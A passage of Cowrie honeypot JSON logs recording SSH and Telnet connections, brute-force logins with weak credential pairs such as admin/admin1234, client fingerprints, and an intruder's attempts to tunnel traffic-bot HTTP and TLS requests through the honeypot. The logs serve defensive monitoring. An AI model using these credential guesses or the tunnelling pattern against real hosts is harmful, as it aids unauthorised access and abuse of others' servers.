\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:27.349547Z","src_ip":"123.27.168.40","session":"b3fade16c67b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"t1","password":"123","message":"login attempt [t1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:27.638478Z","src_ip":"101.79.165.43","session":"08ecab955a67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:27.649864Z","src_ip":"123.27.168.40","session":"b3fade16c67b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:28.858142Z","src_ip":"101.79.165.43","session":"08ecab955a67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36884,"dst_ip":"159.203.135.109","dst_port":23,"session":"b49804fb7e15","protocol":"telnet","message":"New connection: 128.199.8.54:36884 (159.203.135.109:23) [session: b49804fb7e15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:35.139747Z"}
{"eventid":"cowrie.session.closed","duration":32.85202074050903,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:38.431872Z","src_ip":"50.65.170.8","session":"5785efd79015","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":45126,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d5b54044634","protocol":"telnet","message":"New connection: 128.199.8.54:45126 (159.203.135.109:23) [session: 7d5b54044634]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:38.816132Z"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":62224,"dst_ip":"10.17.0.5","dst_port":22,"session":"42cd8d598904","protocol":"ssh","message":"New connection: 113.164.152.20:62224 (10.17.0.5:22) [session: 42cd8d598904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:40.979749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:40.985762Z","src_ip":"113.164.152.20","session":"42cd8d598904","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:41.295479Z","src_ip":"113.164.152.20","session":"42cd8d598904","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:42.565542Z","src_ip":"113.164.152.20","session":"42cd8d598904","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:43.005351Z","session":"42cd8d598904","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:43.122889Z","session":"42cd8d598904","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:43.295953Z","src_ip":"113.164.152.20","session":"42cd8d598904","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1196\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.113 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=RyU8NkJncHZFLz8yPnorZg%3D%3DuHtXBpVGit3oF6EFs%2Fewi5GfiHGQtMwQ%2FZtGCi3rX9jNLlC4hMKBf6lMl6QXRXNfa07pbEErtLOx78GzHkZNHNXuynexHC0bUzwxQSWXF0rhHDFguPelgaxrcy5XNNY%2F9NBi%2BB72ImnmYgQQxVgg3niaI9vLswj%2Bb0oOnOwfW%2FO459a6dMl8dSP9Q5Db4lx6HKI1%2F42Fj9sGALm2yk3shbeBj4WZerbIYs4RzZlj10U%2FGQEONLgv3FeNfl%2BLIQfCecGmnC25DSVjvaTrkPYo7s3VbcG4S%2FoNtTuf3aqBr2MJ8Wrw5Jl9IvuGYlluYNOR%2B94wEpzVtkZLatvNYvjDQ445j6Hgv9gR4k%2BNxhUAGi3aqchoU0loS1COJeK%2F%2BA1oqEpOkRT0caNZf%2BhZPf0rOCpyw0%2B%2BdRkVdmYU1twGL1TDpA%2Fj59JsMYFmPI4VbPew5YjlL%2BPILUr%2Bq20Jfk%2BfEexVO3St8zGl0KxBgfK3cGxBECqFtHGJGEeXzwSBWd2ByblAnA1WkY%2FWl5B2UIrskL2MCs%2BgLaX5K570RYXdfGjRhQAGTkhnpLwF%2F4W%2FAba8Y3hOSeLb46QZ34q2JCjZgBwjYHlfbgFMPa1h%2BactllS8jyXKAWM%2FApib2qU6m3uXJvogLjNzSFESqdGwdDBMxfTmerNeXE15S%2BB3gMxXkTohOS60H%2FVBDo8FV%2FzWft5qzBH9Erslh2CdbZgVVMYsUsuEKefeTyPFIwdq3TdZQuyFAmD2azfspTkQO8TNnflcBa09UqCOoOSwrsRatUgc5wnw2dmVL0%2FYo1bkXPqvA7ZpIXKYjLFk5uzxzvJbjF0Y6G5wOxKKMm1tukiarVrCwc3PUcg%2FJRdnDMfVDXoSivLbntGb2LdznzkZanDX1OYilvZOs2BRIjMHaJ2xQyDVJrd%2BYEsiGGLG%2BGsLOCbAyGy72NzJgsgYheKK%2BYbh0iIKs7%2Bk6VmGU9TBTJmh5nAFE2Q1mhojpfxXcJR6cvHunt%2B%2BbPiym8kg4LUDAYDYYrG6xb1SWPDEF4mYR3xGURwY18LpzIX43KhmZS%2BeJ7WqFJKsr7YHmQH2kiWkcBex38Gb'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1196\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.113 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=RyU8NkJncHZFLz8yPnorZg%3D%3DuHtXBpVGit3oF6EFs%2Fewi5GfiHGQtMwQ%2FZtGCi3rX9jNLlC4hMKBf6lMl6QXRXNfa07pbEErtLOx78GzHkZNHNXuynexHC0bUzwxQSWXF0rhHDFguPelgaxrcy5XNNY%2F9NBi%2BB72ImnmYgQQxVgg3niaI9vLswj%2Bb0oOnOwfW%2FO459a6dMl8dSP9Q5Db4lx6HKI1%2F42Fj9sGALm2yk3shbeBj4WZerbIYs4RzZlj10U%2FGQEONLgv3FeNfl%2BLIQfCecGmnC25DSVjvaTrkPYo7s3VbcG4S%2FoNtTuf3aqBr2MJ8Wrw5Jl9IvuGYlluYNOR%2B94wEpzVtkZLatvNYvjDQ445j6Hgv9gR4k%2BNxhUAGi3aqchoU0loS1COJeK%2F%2BA1oqEpOkRT0caNZf%2BhZPf0rOCpyw0%2B%2BdRkVdmYU1twGL1TDpA%2Fj59JsMYFmPI4VbPew5YjlL%2BPILUr%2Bq20Jfk%2BfEexVO3St8zGl0KxBgfK3cGxBECqFtHGJGEeXzwSBWd2ByblAnA1WkY%2FWl5B2UIrskL2MCs%2BgLaX5K570RYXdfGjRhQAGTkhnpLwF%2F4W%2FAba8Y3hOSeLb46QZ34q2JCjZgBwjYHlfbgFMPa1h%2BactllS8jyXKAWM%2FApib2qU6m3uXJvogLjNzSFESqdGwdDBMxfTmerNeXE15S%2BB3gMxXkTohOS60H%2FVBDo8FV%2FzWft5qzBH9Erslh2CdbZgVVMYsUsuEKefeTyPFIwdq3TdZQuyFAmD2azfspTkQO8TNnflcBa09UqCOoOSwrsRatUgc5wnw2dmVL0%2FYo1bkXPqvA7ZpIXKYjLFk5uzxzvJbjF0Y6G5wOxKKMm1tukiarVrCwc3PUcg%2FJRdnDMfVDXoSivLbntGb2LdznzkZanDX1OYilvZOs2BRIjMHaJ2xQyDVJrd%2BYEsiGGLG%2BGsLOCbAyGy72NzJgsgYheKK%2BYbh0iIKs7%2Bk6VmGU9TBTJmh5nAFE2Q1mhojpfxXcJR6cvHunt%2B%2BbPiym8kg4LUDAYDYYrG6xb1SWPDEF4mYR3xGURwY18LpzIX43KhmZS%2BeJ7WqFJKsr7YHmQH2kiWkcBex38Gb'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:43.299659Z","src_ip":"113.164.152.20","session":"42cd8d598904","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:43.578795Z","src_ip":"113.164.152.20","session":"42cd8d598904","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x02\\xd5\\xac\\x04cA\\x1c\\xd2\\x08LO\\xca\\x1eRw\\x8c\\xff\\xd5\\x0c6K\\xf2\\x82m\\xe2\\x8e\\x94\\xfe!\\x02\\x92\\xc6 G\\xaf\\xf2S\\x9f.\\x95v\\xbc\\xc0\\x87[~\\x83&\\x13&\\xbbH \\x16#\\x90\\x9aZlW\\x83\\x8d\\xb9\\x06\\xef\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\x80|\\x81\\xf6r\\xda~\\t\\x9cT\\x1c\\x96\\xbeJ\\xcb\\xc3\\xae\\xab\\x83\\x83\\xf1S\\xb9\\x05\\xd0><\\xd3$\\xad\\x83\\r\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x02\\xd5\\xac\\x04cA\\x1c\\xd2\\x08LO\\xca\\x1eRw\\x8c\\xff\\xd5\\x0c6K\\xf2\\x82m\\xe2\\x8e\\x94\\xfe!\\x02\\x92\\xc6 G\\xaf\\xf2S\\x9f.\\x95v\\xbc\\xc0\\x87[~\\x83&\\x13&\\xbbH \\x16#\\x90\\x9aZlW\\x83\\x8d\\xb9\\x06\\xef\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\x80|\\x81\\xf6r\\xda~\\t\\x9cT\\x1c\\x96\\xbeJ\\xcb\\xc3\\xae\\xab\\x83\\x83\\xf1S\\xb9\\x05\\xd0><\\xd3$\\xad\\x83\\r\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:43.581878Z","src_ip":"113.164.152.20","session":"42cd8d598904","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:44.145296Z","session":"42cd8d598904","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:44.431843Z","src_ip":"113.164.152.20","session":"42cd8d598904","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa7(\\xc1\\x14\\xd3\\xf5\\x0ba\\xb2;\\x97&,\\xc0\\xc7\\x8c\\xb7\\xde\\xcc\\x99\\x871\\x14l\\x00\\x88@\\x93\\xeafof \\xc1\\xb7\\xeb\\xd1\\xea\\xe4\\xa0A\\xdc\\x08\\x08#\\xa4\\xb9y\\x06\\ne\\xa2\\xc4\\xb8\\xaf\\xafM\\xe6k\\xadS L\\x99\\xc0\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x16\\xea\\x02\\xdc,\\xc2\\xdc\\x88\\x0c\\x06\\x9a\\x83\\xe26f\\xf3\\x03YY\\xd6s\\nL\\xf4\\x907\\xc8\\xffK,N\\x1b\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa7(\\xc1\\x14\\xd3\\xf5\\x0ba\\xb2;\\x97&,\\xc0\\xc7\\x8c\\xb7\\xde\\xcc\\x99\\x871\\x14l\\x00\\x88@\\x93\\xeafof \\xc1\\xb7\\xeb\\xd1\\xea\\xe4\\xa0A\\xdc\\x08\\x08#\\xa4\\xb9y\\x06\\ne\\xa2\\xc4\\xb8\\xaf\\xafM\\xe6k\\xadS L\\x99\\xc0\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x16\\xea\\x02\\xdc,\\xc2\\xdc\\x88\\x0c\\x06\\x9a\\x83\\xe26f\\xf3\\x03YY\\xd6s\\nL\\xf4\\x907\\xc8\\xffK,N\\x1b\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\